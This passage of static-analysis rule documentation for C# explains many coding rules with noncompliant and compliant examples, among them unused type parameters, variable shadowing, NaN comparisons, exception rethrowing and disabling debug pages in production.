Assert.AreEqual(runner.ExitCode, 0, "Unexpected exit code"); // Noncompliant; Yields error message like: Expected:<-1>. Actual:<0>.

Compliant Solution

Assert.AreEqual(0, runner.ExitCode, "Unexpected exit code");
csharpsquid:S2326

Type parameters that aren't used are dead code, which can only distract and possibly confuse developers during maintenance. Therefore, unused type parameters should be removed.

Noncompliant Code Example

public class MoreMath<T>   // Noncompliant; <T> is ignored
{
  public int Add<T>(int a, int b) // Noncompliant; <T> is ignored
  {
    return a + b;
  }
}

Compliant Solution

public class MoreMath
{
  public int Add (int a, int b)
  {
    return a + b;
  }
}
csharpsquid:S4507

Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities:

An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users.

Ask Yourself Whether

  • the code or configuration enabling the application debug features is deployed on production servers.
  • the application runs by default with debug features activated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not enable debug features on production servers.

The .Net Core framework offers multiple features which help during debug. Microsoft.AspNetCore.Builder.IApplicationBuilder.UseDeveloperExceptionPage and Microsoft.AspNetCore.Builder.IApplicationBuilder.UseDatabaseErrorPage are two of them. Make sure that those features are disabled in production.

Use if (env.IsDevelopment()) to disable debug code.

Sensitive Code Example

This rule raises issues when the following .Net Core methods are called: Microsoft.AspNetCore.Builder.IApplicationBuilder.UseDeveloperExceptionPage, Microsoft.AspNetCore.Builder.IApplicationBuilder.UseDatabaseErrorPage.

using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;

namespace mvcApp
{
    public class Startup2
    {
        public void Configure(IApplicationBuilder app, IHostingEnvironment env)
        {
            // Those calls are Sensitive because it seems that they will run in production
            app.UseDeveloperExceptionPage(); // Sensitive
            app.UseDatabaseErrorPage(); // Sensitive
        }
    }
}

Compliant Solution

using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;

namespace mvcApp
{
    public class Startup2
    {
        public void Configure(IApplicationBuilder app, IHostingEnvironment env)
        {
            if (env.IsDevelopment())
            {
                // The following calls are ok because they are disabled in production
                app.UseDeveloperExceptionPage(); // Compliant
                app.UseDatabaseErrorPage(); // Compliant
            }
        }
    }
}

Exceptions

This rule does not analyze configuration files. Make sure that debug mode is not enabled by default in those files.

See

csharpsquid:S1117

Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another.

Noncompliant Code Example

class Foo
{
  public int myField;

  public void DoSomething()
  {
    int myField = 0;  // Noncompliant
    ...
  }
}

See

csharpsquid:S1118

Utility classes, which are collections of static members, are not meant to be instantiated.

C# adds an implicit public constructor to every class which does not explicitly define at least one constructor. Hence, at least one protected constructor should be defined if you wish to subclass this utility class. Or the static keyword should be added to the class declaration to prevent subclassing.

Noncompliant Code Example

public class StringUtils // Noncompliant
{
  public static string Concatenate(string s1, string s2)
  {
    return s1 + s2;
  }
}

Compliant Solution

public static class StringUtils
{
  public static string Concatenate(string s1, string s2)
  {
    return s1 + s2;
  }
}

or

public class StringUtils
{
  protected StringUtils()
  {
  }
  public static string Concatenate(string s1, string s2)
  {
    return s1 + s2;
  }
}
csharpsquid:S2328

GetHashCode is used to file an object in a Dictionary or Hashtable. If GetHashCode uses non-readonly fields and those fields change after the object is stored, the object immediately becomes mis-filed in the Hashtable. Any subsequent test to see if the object is in the Hashtable will return a false negative.

Noncompliant Code Example

public class Person
{
  public int age;
  public string name;

  public override int GetHashCode()
  {
    int hash = 12;
    hash += this.age.GetHashCode(); // Noncompliant
    hash += this.name.GetHashCode(); // Noncompliant
    return hash;
  }

Compliant Solution

public class Person
{
  public readonly DateTime birthday;
  public string name;

  public override int GetHashCode()
  {
    int hash = 12;
    hash += this.birthday.GetHashCode();
    return hash;
  }
csharpsquid:S2681

Curly braces can be omitted from a one-line block, such as with an if statement or for loop, but doing so can be misleading and induce bugs.

This rule raises an issue when the whitespacing of the lines after a one line block indicates an intent to include those lines in the block, but the omission of curly braces means the lines will be unconditionally executed once.

Note that this rule considers tab characters to be equivalent to 1 space. If you mix spaces and tabs you will sometimes see issues in code which look fine in your editor but are confusing when you change the size of tabs.

Noncompliant Code Example

if (condition)
  FirstActionInBlock();
  SecondAction();  // Noncompliant; executed unconditionally
ThirdAction();

if(condition) FirstActionInBlock(); SecondAction();  // Noncompliant; secondAction executed unconditionally

if(condition) FirstActionInBlock();  // Noncompliant
  SecondAction();  // Executed unconditionally

string str = null;
for (int i = 0; i < array.Length; i++)
  str = array[i];
  DoTheThing(str);  // Noncompliant; executed only on last array element

Compliant Solution

if (condition)
{
  FirstActionInBlock();
  SecondAction();
}
ThirdAction();

string str = null;
for (int i = 0; i < array.Length; i++)
{
  str = array[i];
  DoTheThing(str);
}

See

csharpsquid:S1110

The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed.

Noncompliant Code Example

if (a && ((x + y > 0))) // Noncompliant
{
  //...
}

return ((x + 1));  // Noncompliant

Compliant Solution

if (a && (x + y > 0))
{
  //...
}

return x + 1;

return (x + 1);
csharpsquid:S4069

Operator overloading is convenient but unfortunately not portable across languages. To be able to access the same functionality from another language you need to provide an alternate named method following the convention:

Operator Method Name
+ (binary) Add
& BitwiseAnd
| BitwiseOr
/ Divide
== Equals
^ Xor
> Compare
>= Compare
!= Equals
< Compare
<= Compare
! LogicalNot
% Mod
* (binary) Multiply
~ OnesComplement
- (binary) Subtract
- (unary) Negate
+ (unary) Plus

This rule raises an issue when there is an operator overload without the expected named alternative method.

Exceptions

This rule does not raise an issue when the class implementing the comparison operators >, <, >= and <= contains a method named CompareTo.

csharpsquid:S2201

When the call to a function doesn't have any side effects, what is the point of making the call if the results are ignored? In such case, either the function call is useless and should be dropped or the source code doesn't behave as expected.

This rule raises an issue when the results of the following methods are ignored:

  • LINQ method,
  • [Pure] method,
  • any method on string, int, ..., System.Collections.Immutable.ImmutableArray<T>, ImmutableHashSet<T>, ...

Notes:

  • although string.Intern has a side effect, ignoring its return value is still suspicious as it is the only reference ensured to point to the intern pool.
  • Link methods can have side effects if they are misused. Example:
tests.All(c => { c.myfield = "foo"; return true; });

Such code should be rewritten as a normal loop.

Noncompliant Code Example

coll.Where(i => i > 5).Select(i => i*i); // Noncompliant
"this string".Equals("other string"); // Noncompliant

Compliant Solution

var res = coll.Where(i => i > 5).Select(i => i*i);
var isEqual = "this string".Equals("other string");

Exceptions

This rule doesn't report issues on method calls with out or ref arguments.

See

csharpsquid:S3532

The default clause should take appropriate action. Having an empty default is a waste of keystrokes.

Noncompliant Code Example

enum Fruit
{
  Apple,
  Orange,
  Banana
}

void PrintName(Fruit fruit)
{
  switch(fruit)
  {
    case Fruit.Apple:
      Console.WriteLine("apple");
      break;
    default:  //Noncompliant
      break;
  }
}

Compliant Solution

enum Fruit
{
  Apple,
  Orange,
  Banana
}

void PrintName(Fruit fruit)
{
  switch(fruit)
  {
    case Fruit.Apple:
      Console.WriteLine("apple");
      break;
    default:
      throw new NotSupportedException();
  }
}

or

void PrintName(Fruit fruit)
{
  switch(fruit)
  {
    case Fruit.Apple:
      Console.WriteLine("apple");
      break;
  }
}

Exceptions

default clauses containing only a comment are ignored with the assumption that they are empty on purpose and the comment documents why.

csharpsquid:S2688

NaN is not equal to anything, even itself. Testing for equality or inequality against NaN will yield predictable results, but probably not the ones you want.

Instead, the best way to see whether a variable is equal to NaN is to use Number.isNaN(), since ES2015, or (perhaps counter-intuitively) to compare it to itself. Since NaN !== NaN, when a !== a, you know it must equal NaN.

Noncompliant Code Example

var a = double.NaN;

if (a == double.NaN) // Noncompliant; always false
{
  Console.WriteLine("a is not a number");  // this is dead code
}
if (a != double.NaN)  // Noncompliant; always true
{
  Console.WriteLine("a is not NaN"); // this statement is not necessarily true
}

Compliant Solution

if (double.IsNaN(a))
{
  console.log("a is not a number");
}

See

csharpsquid:S2325

Methods and properties that don't access instance data can be static to prevent any misunderstanding about the contract of the method.

Noncompliant Code Example

public class Utilities
{
    public int MagicNum // Noncompliant
    {
        get
        {
            return 42;
        }
    }

    private static string magicWord = "please";
    public string MagicWord  // Noncompliant
    {
        get
        {
            return magicWord;
        }
        set
        {
            magicWord = value;
        }
  }

    public int Sum(int a, int b)  // Noncompliant
    {
        return a + b;
    }
}

Compliant Solution

public class Utilities
{
    public static int MagicNum
    {
        get
        {
            return 42;
        }
    }

    private static string magicWord = "please";
    public static string MagicWord
    {
        get
        {
            return magicWord;
        }
        set
        {
            magicWord = value;
        }
    }

    public static int Sum(int a, int b)
    {
        return a + b;
    }
}

Exceptions

Methods with the following names are excluded because they can't be made static:

  • Application_AuthenticateRequest
  • Application_BeginRequest
  • Application_End
  • Application_EndRequest
  • Application_Error
  • Application_Init
  • Application_Start
  • Session_End
  • Session_Start
csharpsquid:S3898

If you're using a struct, it is likely because you're interested in performance. But by failing to implement IEquatable<T> you're loosing performance when comparisons are made because without IEquatable<T>, boxing and reflection are used to make comparisons.

Noncompliant Code Example

struct MyStruct  // Noncompliant
{
  private int i;
  public int I
  {
    //...
  }
}

Compliant Solution

struct MyStruct : IEquatable<MyStruct>
{
  private int i;
  public int I
  {
    //...
  }

  public bool Equals(MyStruct other)
  {
    throw new NotImplementedException();
  }
}
csharpsquid:S3655

Nullable value types can hold either a value or null. The value held in the nullable type can be accessed with the Value property, but .Value throws an InvalidOperationException when the value is null. To avoid the exception, a nullable type should always be tested before .Value is accessed.

Noncompliant Code Example

int? nullable = null;
...
UseValue(nullable.Value); // Noncompliant

Compliant Solution

int? nullable = null;
...
if (nullable.HasValue)
{
  UseValue(nullable.Value);
}

or

int? nullable = null;
...
if (nullable != null)
{
  UseValue(nullable.Value);
}

See

csharpsquid:S3897

The IEquatable<T> interface has only one method in it: Equals(<T>). If you've already written Equals(T), there's no reason not to explicitly implement IEquatable<T>. Doing so expands the utility of your class by allowing it to be used where an IEquatable is called for.

Note**: Classes that implement IEquatable<T> should also be sealed.

Noncompliant Code Example

class MyClass  // Noncompliant
{
  public bool Equals(MyClass other)
  {
    //...
  }
}

Compliant Solution

sealed class MyClass : IEquatable<MyClass>
{
  public override bool Equals(object other)
  {
    return Equals(other as MyClass);
  }

  public bool Equals(MyClass other)
  {
    //...
  }
}
csharpsquid:S3776

Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

See

csharpsquid:S1939

An inheritance list entry is redundant if:

  • It is Object - all classes extend Object implicitly.
  • It is int for an enum
  • It is a base class of another listed inheritance.

Such redundant declarations should be removed because they needlessly clutter the code and can be confusing.

Noncompliant Code Example

public class MyClass : Object  // Noncompliant

enum MyEnum : int  // Noncompliant

Compliant Solution

public class MyClass

enum MyEnum
csharpsquid:S3449

Numbers can be shifted with the << and >> operators, but the right operand of the operation needs to be an int or a type that has an implicit conversion to int. However, with dynamic, the compiler's type checking is turned off, so you can pass anything to a shift operator and have it compile. And if the argument can't be converted to int at runtime, then a RuntimeBinderException will be raised.

Noncompliant Code Example

dynamic d = 5;
var x = d >> 5.4; // Noncompliant
x = d >> null; // Noncompliant
x <<= new object(); // Noncompliant
csharpsquid:S1821

Nested switch structures are difficult to understand because you can easily confuse the cases of an inner switch as belonging to an outer statement. Therefore nested switch statements should be avoided.

Specifically, you should structure your code to avoid the need for nested switch statements, but if you cannot, then consider moving the inner switch to another function.

csharpsquid:S1944

Inappropriate casts are issues that will lead to unexpected behavior or runtime errors, such as InvalidCastExceptions. The compiler will catch bad casts from one class to another, but not bad casts to interfaces. Nor will it catch nullable values that are known to be null but that are cast to their underlying value types anyway.

It is much better to use the as operator because it will return null instead of throwing an exception.

Noncompliant Code Example

public interface IMyInterface
{ /* ... */ }

public class Implementer : IMyInterface
{ /* ... */ }

public class MyClass
{ /* ... */ }

public static class Program
{
  public static void Main()
  {
    var myclass = new MyClass();
    var x = (IMyInterface) myclass; // Noncompliant, InvalidCastException is being thrown
    var b = myclass is IMyInterface; // Noncompliant, always false

    int? i = null;
    var ii = (int)i; // Noncompliant, InvalidOperationException is being thrown
  }
}

Compliant Solution

public interface IMyInterface
{ /* ... */ }

public class Implementer : IMyInterface
{ /* ... */ }

public class MyClass
{ /* ... */ }

public static class Program
{
  public static void Main()
  {
    var myclass = new MyClass();
    var x = myclass as IMyInterface; // Compliant, but will always be null
    var b = false;

    int? i = null;
    if (i.HasValue)
    {
      var ii = (int)i;
    }
  }
}

Exceptions

No issue is reported if the interface has no implementing class in the assembly.

See

csharpsquid:S881

The use of increment and decrement operators in method calls or in combination with other arithmetic operators is not recommended, because:

  • It can significantly impair the readability of the code.
  • It introduces additional side effects into a statement, with the potential for undefined behavior.
  • It is safer to use these operators in isolation from any other arithmetic operators.

Noncompliant Code Example

u8a = ++u8b + u8c--;
foo = bar++ / 4;

Compliant Solution

The following sequence is clearer and therefore safer:

++u8b;
u8a = u8b + u8c;
u8c--;
foo = bar / 4;
bar++;

See

  • CERT, EXP30-C. - Do not depend on the order of evaluation for side effects
  • CERT, EXP50-CPP. - Do not depend on the order of evaluation for side effects
  • CERT, EXP05-J. - Do not follow a write by a subsequent write or read of the same object within an expression
csharpsquid:S3441

When an anonymous type's properties are copied from properties or variables with the same names, it yields cleaner code to omit the new type's property name and the assignment operator.

Noncompliant Code Example

var X = 5;

var anon = new
{
  X = X, //Noncompliant, the new object would have the same property without the "X =" part.
  Y = "my string"
};

Compliant Solution

var X = 5;

var anon = new
{
  X,
  Y = "my string"
};
csharpsquid:S3440

There's no point in checking a variable against the value you're about to assign it. Save the cycles and lines of code, and simply perform the assignment.

Noncompliant Code Example

if (x != a)  // Noncompliant; why bother?
{
    x = a;
}

Compliant Solution

x = a;

Exceptions

Properties and checks inside setters are excluded from this rule because they could have side effects and removing the check could lead to undesired side effects.

if (MyProperty != a)
{
    MyProperty = a; // Compliant because the setter could be expensive call
}
private int myField;
public int SomeProperty
{
    get
    {
        return myField;
    }
    set
    {
        if (myField != value)
        {
            myField = value;
        }
    }
}
csharpsquid:S3443

If you call GetType() on a Type variable, the return value will always be typeof(System.Type). So there's no real point in making that call. The same applies to passing a type argument to IsInstanceOfType. In both cases the results are entirely predictable.

Noncompliant Code Example

var type = typeof(int);
var ttype = type.GetType(); //Noncompliant, always typeof(System.Type)

var s = "abc";

if (s.GetType().IsInstanceOfType(typeof(string))) //Noncompliant; false
{ /* ... */ }

Compliant Solution

var s = "abc";

if (s.GetType().IsInstanceOfType("ssss"))
{ /* ... */ }
csharpsquid:S1264

When only the condition expression is defined in a for loop, and the initialization and increment expressions are missing, a while loop should be used instead to increase readability.

Noncompliant Code Example

for (;condition;) { /*...*/ }

Compliant Solution

while (condition) { /*...*/ }
csharpsquid:S3442

Since abstract classes can't be instantiated, there's no point in their having public or internal constructors. If there is basic initialization logic that should run when an extending class instance is created, you can by all means put it in a constructor, but make that constructor private or protected.

Noncompliant Code Example

abstract class Base
{
    public Base() // Noncompliant, should be private or protected
    {
      //...
    }
}

Compliant Solution

abstract class Base
{
    protected Base()
    {
      //...
    }
}
csharpsquid:S1144

private or internal types or private members that are never executed or referenced are dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced.

Noncompliant Code Example

public class Foo
{
    private void UnusedPrivateMethod() {...} // Noncompliant

    private class UnusedClass {...} // Noncompliant
}

Compliant Solution

public class Foo
{
    public Foo()
    {
        UsedPrivateMethod();
    }

    private void UsedPrivateMethod()
    {
        var c = new UsedClass();
    }

    private class UsedClass {...}
}

Exceptions

This rule doesn't raise issues on:

  • Empty constructors
  • Attributed members
  • Main method
  • Methods with event handler signature void Foo(object, EventArgs) that are declared in partial class
  • Empty serialization constructor on type with System.SerializableAttribute attribute.
  • Internals in assemblies that have a System.Runtime.CompilerServices.InternalsVisibleToAttribute attribute.
csharpsquid:S2114

Passing a collection as an argument to the collection's own method is either an error - some other argument was intended - or simply nonsensical code.

Further, because some methods require that the argument remain unmodified during the execution, passing a collection to itself can result in an unexpected behavior.

Noncompliant Code Example

var list = new List<int>();

list.AddRange(list); // Noncompliant
list.Concat(list); // Noncompliant

list.Union(list); // Noncompliant; always returns list
list.Except(list); // Noncompliant; always empty
list.Intersect(list); // Noncompliant; always list
list.SequenceEqual(list); // Noncompliant; always true

var set = new HashSet<int>();
set.UnionWith(set); // Noncompliant; no changes
set.ExceptWith(set); // Noncompliant; always empty
set.IntersectWith(set); // Noncompliant; no changes
set.IsProperSubsetOf(set); // Noncompliant; always false
set.IsProperSupersetOf(set); // Noncompliant; always false
set.IsSubsetOf(set); // Noncompliant; always true
set.IsSupersetOf(set); // Noncompliant; always true
set.Overlaps(set); // Noncompliant; always true
set.SetEquals(set); // Noncompliant; always true
set.SymmetricExceptWith(set); // Noncompliant; always empty
csharpsquid:S3445

When rethrowing an exception, you should do it by simply calling throw; and not throw exc;, because the stack trace is reset with the second syntax, making debugging a lot harder.

Noncompliant Code Example

try
{}
catch(ExceptionType1 exc)
{
  Console.WriteLine(exc);
  throw exc; // Noncompliant; stacktrace is reset
}
catch (ExceptionType2 exc)
{
  throw new Exception("My custom message", exc);  // Compliant; stack trace preserved
}

Compliant Solution

try
{}
catch(ExceptionType1 exc)
{
  Console.WriteLine(exc);
  throw;
}
catch (ExceptionType2 exc)
{
  throw new Exception("My custom message", exc);
}
csharpsquid:S1145

if statements with conditions that are always false have the effect of making blocks of code non-functional. if statements with conditions that are always true are completely redundant, and make the code less readable.

There are three possible causes for the presence of such code:

  • An if statement was changed during debugging and that debug code has been committed.
  • Some value was left unset.
  • Some logic is not doing what the programmer thought it did.

In any of these cases, unconditional if statements should be removed.

Noncompliant Code Example

if (true)
{
  DoSomething();
}
...
if (false)
{
  DoSomethingElse();
}

Compliant Solution

DoSomething();
...

See

Deprecated

This rule is deprecated; use S2583 instead.

csharpsquid:S3444

When an interface inherits from two interfaces that both define a member with the same name, trying to access that member through the derived interface will result in the compiler error CS0229 Ambiguity between 'IBase1.SomeProperty' and 'IBase2.SomeProperty'.

So instead, every caller will be forced to cast instances of the derived interface to one or the other of its base interfaces to resolve the ambiguity and be able to access the member. Instead, it is better to resolve the ambiguity in the definition of the derived interface either by:

  • renaming the member in one of the base interfaces to remove the collision
  • also defining that member in the derived interface. Use this only if all copies of the member are meant to hold the same value.

Noncompliant Code Example

public interface IBase1
{
  string SomeProperty { get; set; }
}

public interface IBase2
{
  string SomeProperty { get; set; }
}

public interface IDerived : IBase1, IBase2 // Noncompliant, accessing IDerived.SomeProperty is ambiguous
{
}

public class MyClass : IDerived
{
  // Implements both IBase1.SomeProperty and IBase2.SomeProperty
  public string SomeProperty { get; set; } = "Hello";

  public static void Main()
  {
    MyClass myClass = new MyClass();
    Console.WriteLine(myClass.SomeProperty); // Writes "Hello" as expected
    Console.WriteLine(((IBase1)myClass).SomeProperty); // Writes "Hello" as expected
    Console.WriteLine(((IBase2)myClass).SomeProperty); // Writes "Hello" as expected
    Console.WriteLine(((IDerived)myClass).SomeProperty); // Error CS0229 Ambiguity between 'IBase1.SomeProperty' and 'IBase2.SomeProperty'
  }
}

Compliant Solution

public interface IDerived : IBase1, IBase2
{
  new string SomeProperty { get; set; }
}

public class MyClass : IDerived
{
  // Implements IBase1.SomeProperty, IBase2.SomeProperty and IDerived.SomeProperty
  public string SomeProperty { get; set; } = "Hello";

  public static void Main()
  {
    MyClass myClass = new MyClass();
    Console.WriteLine(myClass.SomeProperty); // Writes "Hello" as expected
    Console.WriteLine(((IBase1)myClass).SomeProperty); // Writes "Hello" as expected
    Console.WriteLine(((IBase2)myClass).SomeProperty); // Writes "Hello" as expected
    Console.WriteLine(((IDerived)myClass).SomeProperty); // Writes "Hello" as expected
  }
}

or

public interface IBase1
{
  string SomePropertyOne { get; set; }
}

public interface IBase2
{
  string SomePropertyTwo { get; set; }
}

public interface IDerived : IBase1, IBase2
{
}
csharpsquid:S2234

When the names of parameters in a method call match the names of the method arguments, it contributes to clearer, more readable code. However, when the names match, but are passed in a different order than the method arguments, it indicates a mistake in the parameter order which will likely lead to unexpected results.

Noncompliant Code Example

public double Divide(int divisor, int dividend)
{
    return divisor/dividend;
}

public void DoTheThing()
{
    int divisor = 15;
    int dividend = 5;

    double result = Divide(dividend, divisor);  // Noncompliant; operation succeeds, but result is unexpected
    //...
}

Compliant Solution

public double Divide(int divisor, int dividend)
{
    return divisor/dividend;
}

public void DoTheThing()
{
    int divisor = 15;
    int dividend = 5;

    double result = Divide(divisor, dividend);
    //...
}
csharpsquid:S2479

Non-encoded control characters and whitespace characters are often injected in the source code because of a bad manipulation. They are either invisible or difficult to recognize, which can result in bugs when the string is not what the developer expects. If you actually need to use a control character use their encoded version (ex: ASCII \n,\t,... or Unicode U+000D, U+0009,...).

This rule raises an issue when the following characters are seen in a literal string:

No issue will be raised on the simple space character. Unicode U+0020, ASCII 32.

Noncompliant Code Example

string tabInside = "A	B";  // Noncompliant, contains a tabulation
string zeroWidthSpaceInside = "foo​bar"; // Noncompliant, it contains a U+200B character inside
Console.WriteLine(zeroWidthSpaceInside); // Prints "foo?bar"

Compliant Solution

string tabInside = "A\tB";  // Compliant, uses escaped value
string zeroWidthSpaceInside = "foo\u200Bbar";  // Compliant, uses escaped value
Console.WriteLine(zeroWidthSpaceInside); // Prints "foo?bar"

Exceptions

Verbatim string literals have no escape character mechanism.

csharpsquid:S1147

Calling Environment.Exit(exitCode) or Application.Exit() terminates the process and returns an exit code to the operating system..

Each of these methods should be used with extreme care, and only when the intent is to stop the whole application.

Noncompliant Code Example

Environment.Exit(0);
Application.Exit();

Exceptions

These methods are ignored inside Main.

csharpsquid:S3447

The use of ref or out in combination with [Optional] is both confusing and contradictory. [Optional] indicates that the parameter doesn't have to be provided, while out and ref mean that the parameter will be used to return data to the caller (ref additionally indicates that the parameter may also be used to pass data into the method).

Thus, making it [Optional] to provide the parameter in which you will be passing back the method results doesn't make sense. In fact, the compiler will raise an error on such code. Unfortunately, it raises the error on method calls where the [Optional] parameter has been omitted, not the source of the problem, the method declaration.

Noncompliant Code Example

class MyClass
{
    public void DoStuff([Optional] ref int i) // Noncompliant
    {
        Console.WriteLine(i);
    }

    public static void Main()
    {
        new MyClass().DoStuff(); // This doesn't compile, CS7036 shows
    }
}

Compliant Solution

class MyClass
{
  public void DoStuff(ref int i)
  {
    Console.WriteLine(i);
  }

  public static void Main()
  {
    var i = 42;
    new MyClass().DoStuff(ref i);
  }
}
csharpsquid:S1940

It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead.

Noncompliant Code Example

if ( !(a == 2)) { ...}  // Noncompliant
bool b = !(i < 10);  // Noncompliant

Compliant Solution

if (a != 2) { ...}
bool b = (i >= 10);
csharpsquid:S2357

Fields should not be part of an API, and therefore should always be private. Indeed, they cannot be added to an interface for instance, and validation cannot be added later on without breaking backward compatibility. Instead, developers should encapsulate their fields into properties. Explicit property getters and setters can be introduced for validation purposes or to smooth the transition to a newer system.

Noncompliant Code Example

public class Foo
{
  public int MagicNumber = 42;
}

Compliant Solution

public class Foo
{
  public int MagicNumber
  {
    get { return 42; }
  }
}

or

public class Foo
{
  private int MagicNumber = 42;
}

Exceptions

structs are ignored, as are static and const fields in classes.

Further, an issue is only raised when the real accessibility is public, taking into account the class accessibility.

csharpsquid:S2228

Debug statements are always useful during development. But include them in production code - particularly in code that runs client-side - and you run the risk of inadvertently exposing sensitive information.

Noncompliant Code Example

private void DoSomething()
{
    // ...
    Console.WriteLine("so far, so good..."); // Noncompliant
    // ...
}

Exceptions

The following are ignored by this rule:

  • Console Applications
  • Calls in methods decorated with [Conditional ("DEBUG")]
  • Calls included in DEBUG preprocessor branches (#if DEBUG)

See

Deprecated

This rule is deprecated; use S106 instead.

csharpsquid:S2583

Conditional expressions which are always true or false can lead to dead code. Such code is always buggy and should never be used in production.

Noncompliant Code Example

public void Sample(bool b)
{
    bool a = false;
    if (a) // Noncompliant
    {
        DoSomething(); // never executed
    }

    if (!a || b) // Noncompliant; "!a" is always "true", "b" is never evaluated
    {
        DoSomething();
    }
    else
    {
        DoSomethingElse(); // never executed
    }

    var d = "xxx";
    var res = d ?? "value"; // Noncompliant, d is always not null, "value" is never used
}

Compliant Solution

public void Sample(bool b)
{
    bool a = false;
    if (Foo(a))
    {
        DoSomething();
    }

    if (b)
    {
        DoSomething();
    }
    else
    {
        DoSomethingElse();
    }

    var d = "xxx";
    var res = d;
}

Exceptions

This rule will not raise an issue in either of these cases:

  • When the condition is a single const bool
const bool debug = false;
//...
if (debug)
{
  // Print something
}
  • When the condition is the literal true or false.

In these cases it is obvious the code is as intended.

See

csharpsquid:S2221

Catching System.Exception seems like an efficient way to handle multiple possible exceptions. Unfortunately, it traps all exception types, including the ones that were not intended to be caught. To prevent any misunderstandings, the exception filters should be used. Alternatively each exception type should be in a separate catch block.

Noncompliant Code Example

try
{
  // do something that might throw a FileNotFoundException or IOException
}
catch (Exception e) // Noncompliant
{
  // log exception ...
}

Compliant Solution

try
{
  // do something
}
catch (Exception e) when (e is FileNotFoundException || e is IOException)
{
  // do something
}

Exceptions

The final option is to catch System.Exception and throw it in the last statement in the catch block. This is the least-preferred option, as it is an old-style code, which also suffers from performance penalty compared to exception filters.

try
{
  // do something
}
catch (Exception e)
{
  if (e is FileNotFoundException || e is IOException)
  {
    // do something
  }
  else
  {
    throw;
  }
}

See

csharpsquid:S2342

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all enum names match a provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Pascal casing, starting with an upper case character, e.g. BackColor
  • Short abbreviations of 2 letters can be capitalized, e.g. GetID
  • Longer abbreviations need to be lower case, e.g. GetHtml
  • If the enum is marked as [Flags] then its name should be plural (e.g. MyOptions), otherwise, names should be singular (e.g. MyOption)

Noncompliant Code Example

With the default regular expression for non-flags enums: ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$

public enum foo // Noncompliant
{
    FooValue = 0
}

With the default regular expression for flags enums: ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?s$

[Flags]
public enum Option // Noncompliant
{
    None = 0,
    Option1 = 1,
    Option2 = 2
}

Compliant Solution

public enum Foo
{
    FooValue = 0
}
[Flags]
public enum Options
{
    None = 0,
    Option1 = 1,
    Option2 = 2
}
csharpsquid:S3431

It should be clear to a casual reader what code a test is testing and what results are expected. Unfortunately, that's not usually the case with the [ExpectedException] attribute since an exception could be thrown from almost any line in the method.

This rule detects MSTest and NUnit ExpectedException attribute.

Noncompliant Code Example

[TestMethod]
[ExpectedException(typeof(ArgumentNullException))]  // Noncompliant
public void TestNullArg()
{
  //...
}

Compliant Solution

[TestMethod]
public void TestNullArg()
{
  bool callFailed = false;
  try
  {
    //...
  }
  catch (ArgumentNullException)
  {
    callFailed = true;
  }
  Assert.IsTrue(callFailed, "Expected call to MyMethod to fail with ArgumentNullException");
}

Exceptions

This rule ignores one-line test methods, since it is obvious in such methods where the exception is expected to be thrown.

csharpsquid:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

private int Divide(int numerator, int denominator)
{
    return numerator / denominator;  // FIXME denominator value might be  0
}

See

csharpsquid:S4524

switch can contain a default clause for various reasons: to handle unexpected values, to show that all the cases were properly considered.

For readability purpose, to help a developer to quickly find the default behavior of a switch statement, it is recommended to put the default clause at the end of the switch statement. This rule raises an issue if the default clause is not the first or the last one of the switch's cases.

Noncompliant Code Example

switch (param)
{
    case 0:
      DoSomething();
      break;
    default: // default clause should be the first or last one
      Error();
      break;
    case 1:
      DoSomethingElse();
      break;
}

Compliant Solution

switch (param)
{
    case 0:
      DoSomething();
      break;
    case 1:
      DoSomethingElse();
      break;
    default:
      Error();
      break;
}
csharpsquid:S2345

Flags enumerations should not rely on the language to initialize the values of their members. Implicit initialization will set the first member to 0, and increment the value by one for each subsequent member. This implicit behavior does not allow members to be combined using the bitwise or operator in a useful way.

Instead, 0 and powers of two (i.e. 1, 2, 4, 8, 16, ...) should be used to explicitly initialize all the members.

Noncompliant Code Example

[Flags]
enum FruitType    // Noncompliant
{
  None,
  Banana,
  Orange,
  Strawberry
}
class Program
{
    static void Main()
    {
        var bananaAndStrawberry = FruitType.Banana | FruitType.Strawberry;
        // Will display only Strawberry!
        Console.WriteLine(bananaAndStrawberry.ToString());
    }
}

Compliant Solution

[Flags]
enum FruitType
{
  None = 0,
  Banana = 1,
  Orange = 2,
  Strawberry = 4
}
class Program
{
    static void Main()
    {
        var bananaAndStrawberry = FruitType.Banana | FruitType.Strawberry;
        // Will display Banana and Strawberry, as expected.
        Console.WriteLine(bananaAndStrawberry.ToString());
    }
}

Exceptions

The default initialization of 0, 1, 2, 3, 4, ... matches 0, 1, 2, 4, 8 ... in the first three values, so no issue is reported if the first three members of the enumeration is not initialized.

csharpsquid:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

private void DoSomething()
{
  // TODO
}

See

csharpsquid:S2344

The information that an enumeration type is actually an enumeration or a set of flags should not be duplicated in its name.

Noncompliant Code Example

enum FooFlags // Noncompliant
{
    Foo = 1
    Bar = 2
    Baz = 4
}

Compliant Solution

enum Foo
{
    Foo = 1
    Bar = 2
    Baz = 4
}
csharpsquid:S2223

